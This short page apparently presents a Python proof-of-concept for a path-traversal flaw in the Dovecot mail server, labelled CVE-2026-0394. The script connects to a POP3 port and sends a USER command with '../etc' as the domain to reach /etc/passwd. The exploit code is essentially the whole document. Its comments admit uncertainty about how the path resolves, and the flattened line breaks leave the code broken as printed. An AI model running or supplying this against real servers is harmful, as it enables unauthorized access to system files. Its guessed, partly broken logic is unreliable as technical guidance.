CVE-2026-0394 Dovecot 路径遍历漏洞

import socket # PoC for CVE-2026-0394 Dovecot Path Traversal # This script demonstrates the concept of path traversal via the domain field. # Target configuration: per-domain passwd files in /etc (or similar). target_host = "192.168.1.10" target_port = 110 # POP3 port # Payload uses path traversal to reach /etc/passwd # Assuming the config expects /etc/%d/passwd # Sending domain as "../etc" might result in /etc/../etc/passwd or similar logic # depending on exact implementation details described in the advisory. # The advisory mentions "domain component is directory partial". payload_domain = "../etc" username = "test_user" password = "any_password" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Receive banner print(s.recv(1024).decode()) # Attempt authentication using the malicious domain # Format: USER username@domain cmd = f"USER {username}@{payload_domain}\r\n" s.send(cmd.encode()) print(f"Sent: {cmd.strip()}") resp = s.recv(1024).decode() print(f"Received: {resp}") # The vulnerability allows reading /etc/passwd if the path resolves correctly. # This PoC checks if the server responds differently or allows login based on the file. s.close() except Exception as e: print(f"Error: {e}")